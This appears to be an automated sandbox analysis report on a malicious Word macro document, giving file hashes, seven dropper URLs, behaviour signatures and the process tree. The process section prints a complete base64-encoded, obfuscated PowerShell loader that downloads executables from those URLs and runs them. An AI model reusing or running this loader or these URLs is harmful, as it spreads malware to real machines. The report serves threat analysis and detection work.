Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 03:18

General

  • Target

    eef9409c936fd2da9e34b709650f7ba4_JaffaCakes118.doc

  • Size

    146KB

  • MD5

    eef9409c936fd2da9e34b709650f7ba4

  • SHA1

    6b5197bfd7f9ea5891f9eab048e1c3e29e239d05

  • SHA256

    6e9bb277a3d9d6acbe5e393576b9cddb7e45a6b53ab510fb29dd71f746b2765c

  • SHA512

    97d8f61c3a7cbce5f38301427786cba667b8bd0fceb1cbdeb67f7b2f7e1a43d0ac06e2a3921c89684eb2737e784322dd496bdf201b655ba8065b73a0f39c0d93

  • SSDEEP

    3072:lHzxfmNGf4Y1Kol0U3GaMEfffffffffYVr6HgNRqy:lHtfmNGfHKouHEfffffffffCr6HgbL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jobcapper.com/8.7.19/UOULtnSR/

exe.dropper

http://tomssteakhouse.com/wp-includes/GUjvEUEdmc/

exe.dropper

http://host2nepal.com/kexwy/fEYgSjMGw/

exe.dropper

http://asfckmusic.com/axhhy/UlzCjShcL5/

exe.dropper

https://dungntc.com/wqgfjott/D7yFR/

exe.dropper

http://lspahi.com/wp-admin/XBtQ5I/

exe.dropper

http://brunoaugustoadvocacia.com/ezbkx/w5/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eef9409c936fd2da9e34b709650f7ba4_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2272
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABBAGsAaABhAGwAeAAxAD0AKAAoACcAWgBwACcAKwAnAHgAJwApACsAKAAnAG4AJwArACcANAAwAGMAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABFAE4AdgA6AHUAcwBFAHIAcABSAG8AZgBpAEwAZQBcAEcAcwBuAEIASQBfAGEAXABaAE8AcABGAFUASQB0AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQBSAGUAYwBUAG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBgAFUAcgBpAHQAYABZAHAAUgBPAGAAVABvAEMAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAnACsAJwAyACwAIAB0AGwAJwApACsAJwBzACcAKwAoACcAMQAxACcAKwAnACwAJwApACsAKAAnACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAFYANQB1AGEAZQAwAGkAIAA9ACAAKAAoACcARQBpADIANAAnACsAJwA0AHUAJwApACsAJwBvACcAKwAnAHAAJwApADsAJABPAGQAbwBtADUAZAB3AD0AKAAnAE4AXwAnACsAJwA2ACcAKwAoACcAMgBoACcAKwAnAGgAeAAnACkAKQA7ACQASwBoAGMAYwA0ADIAXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBHAHMAbgBiAGkAXwBhAHsAMAB9AFoAbwAnACsAJwBwAGYAJwArACcAdQBpAHQAewAwACcAKwAnAH0AJwApACAALQBmACAAWwBDAGgAYQByAF0AOQAyACkAKwAkAFYANQB1AGEAZQAwAGkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFQAYwA0AG4AeAAyAF8APQAoACgAJwBXAF8AJwArACcAbAAnACkAKwAnAHMAMQAnACsAJwBpAHIAJwApADsAJABFAHcAOAB3AGkAbwB6AD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMATABJAGUATgB0ADsAJABKADAAYwByAGgAbQAwAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwBqAG8AYgAnACkAKwAoACcAYwAnACsAJwBhAHAAcABlACcAKQArACcAcgAuACcAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAOAAuADcALgAxACcAKwAnADkAJwApACsAKAAnAC8AVQBPACcAKwAnAFUAJwApACsAKAAnAEwAJwArACcAdABuACcAKQArACcAUwBSACcAKwAoACcALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAJwAvAC8AJwArACgAJwB0AG8AJwArACcAbQAnACkAKwAnAHMAJwArACcAcwB0ACcAKwAoACcAZQBhACcAKwAnAGsAJwApACsAJwBoACcAKwAoACcAbwB1ACcAKwAnAHMAJwArACcAZQAuAGMAbwBtACcAKQArACgAJwAvACcAKwAnAHcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsAHUAZABlAHMAJwApACsAKAAnAC8AJwArACcARwBVACcAKQArACgAJwBqAHYAJwArACcARQBVAEUAJwArACcAZABtACcAKwAnAGMALwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwADoALwAnACkAKwAoACcALwBoACcAKwAnAG8AcwAnACkAKwAoACcAdAAyAG4AZQBwACcAKwAnAGEAJwArACcAbAAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKQArACgAJwBrAGUAeAB3AHkAJwArACcALwBmACcAKwAnAEUAJwApACsAKAAnAFkAZwAnACsAJwBTAGoAJwApACsAJwBNACcAKwAoACcARwAnACsAJwB3AC8AKgBoACcAKwAnAHQAdABwADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBhAHMAZgAnACsAJwBjAGsAJwArACcAbQAnACkAKwAnAHUAJwArACgAJwBzAGkAJwArACcAYwAnACsAJwAuAGMAbwBtAC8AYQB4ACcAKQArACgAJwBoACcAKwAnAGgAeQAvAFUAJwApACsAJwBsAHoAJwArACgAJwBDACcAKwAnAGoAUwBoAGMAJwApACsAJwBMADUAJwArACgAJwAvACoAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwAnACsAJwA6ACcAKwAnAC8ALwBkAHUAbgBnAG4AdAAnACkAKwAnAGMAJwArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACcALwAnACsAJwB3AHEAJwArACcAZwAnACsAKAAnAGYAagBvACcAKwAnAHQAJwArACcAdAAvACcAKQArACgAJwBEACcAKwAnADcAJwArACcAeQBGACcAKwAnAFIALwAqAGgAdAB0AHAAOgAvAC8AbABzAHAAJwArACcAYQBoAGkAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAvAHcAJwArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuACcAKwAnAC8AWABCAHQAUQA1AEkALwAnACkAKwAnACoAJwArACcAaAAnACsAKAAnAHQAdABwACcAKwAnADoALwAvACcAKQArACgAJwBiACcAKwAnAHIAdQBuACcAKQArACcAbwAnACsAJwBhAHUAJwArACcAZwAnACsAKAAnAHUAcwB0AG8AJwArACcAYQBkACcAKQArACgAJwB2AG8AJwArACcAYwBhACcAKQArACgAJwBjAGkAJwArACcAYQAuAGMAbwAnACkAKwAoACcAbQAvAGUAegAnACsAJwBiACcAKQArACgAJwBrAHgALwAnACsAJwB3ACcAKQArACcANQAvACcAKQAuACIAcwBgAHAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVADUAMwB0AGwAawBmAD0AKAAnAEEAJwArACgAJwBjAGoAMABoACcAKwAnADQAJwApACsAJwAwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AcAAyAGEAbABmAHcAIABpAG4AIAAkAEoAMABjAHIAaABtADAAKQB7AHQAcgB5AHsAJABFAHcAOAB3AGkAbwB6AC4AIgBkAG8AdwBOAGAAbABvAEEAZABmAGAASQBgAEwAZQAiACgAJABNAHAAMgBhAGwAZgB3ACwAIAAkAEsAaABjAGMANAAyAF8AKQA7ACQAQwBhAGIAcgB2AGMAdQA9ACgAJwBDAGIAJwArACgAJwBxACcAKwAnADYAMwAnACkAKwAnAGUAdwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBoAGMAYwA0ADIAXwApAC4AIgBMAGAAZQBuAGcAVABIACIAIAAtAGcAZQAgADIANgAyADQAMAApACAAewAmACgAJwBJACcAKwAnAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABLAGgAYwBjADQAMgBfACkAOwAkAFkAMABuAHEAZAByAHIAPQAoACgAJwBNAGwAdgAnACsAJwByAGIAJwApACsAJwBlAGQAJwApADsAYgByAGUAYQBrADsAJABIAG8AMQBnAF8AbAAyAD0AKAAoACcAWgBxACcAKwAnAGoAJwApACsAJwA1AGwAJwArACcAdAA5ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBwAGoANgB2AHYAYQA9ACgAKAAnAE8AdQAnACsAJwBkADIAXwAnACkAKwAnAGwAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2772

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      0d1879121fedc3fd349aab6a8ba857bd

      SHA1

      0585bf67326136f017ca7a52eeb90bb03fbfb8b2

      SHA256

      4250ca5ade0fc921832ddbaac1f970f6b33021324110497358539867bf1e0fd6

      SHA512

      e6a3135e5d01608a0dbfdada4fef8397d07448a14c85fbdefabb4fcaae9dec3d503220bdfcb2dd09d84daec704374c22e1f7a8ca3ca2495d0c724552c6cb0ef1

    • memory/2272-32-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-66-0x000000007193D000-0x0000000071948000-memory.dmp

      Filesize

      44KB

    • memory/2272-31-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-5-0x0000000000320000-0x0000000000420000-memory.dmp

      Filesize

      1024KB

    • memory/2272-7-0x0000000000320000-0x0000000000420000-memory.dmp

      Filesize

      1024KB

    • memory/2272-21-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-20-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-26-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-6-0x0000000000320000-0x0000000000420000-memory.dmp

      Filesize

      1024KB

    • memory/2272-2-0x000000007193D000-0x0000000071948000-memory.dmp

      Filesize

      44KB

    • memory/2272-0-0x000000002F381000-0x000000002F382000-memory.dmp

      Filesize

      4KB

    • memory/2272-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2272-44-0x000000007193D000-0x0000000071948000-memory.dmp

      Filesize

      44KB

    • memory/2272-45-0x0000000000320000-0x0000000000420000-memory.dmp

      Filesize

      1024KB

    • memory/2272-46-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-48-0x0000000005BE0000-0x0000000005CE0000-memory.dmp

      Filesize

      1024KB

    • memory/2272-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2772-38-0x000000001B700000-0x000000001B9E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2772-39-0x0000000001E80000-0x0000000001E88000-memory.dmp

      Filesize

      32KB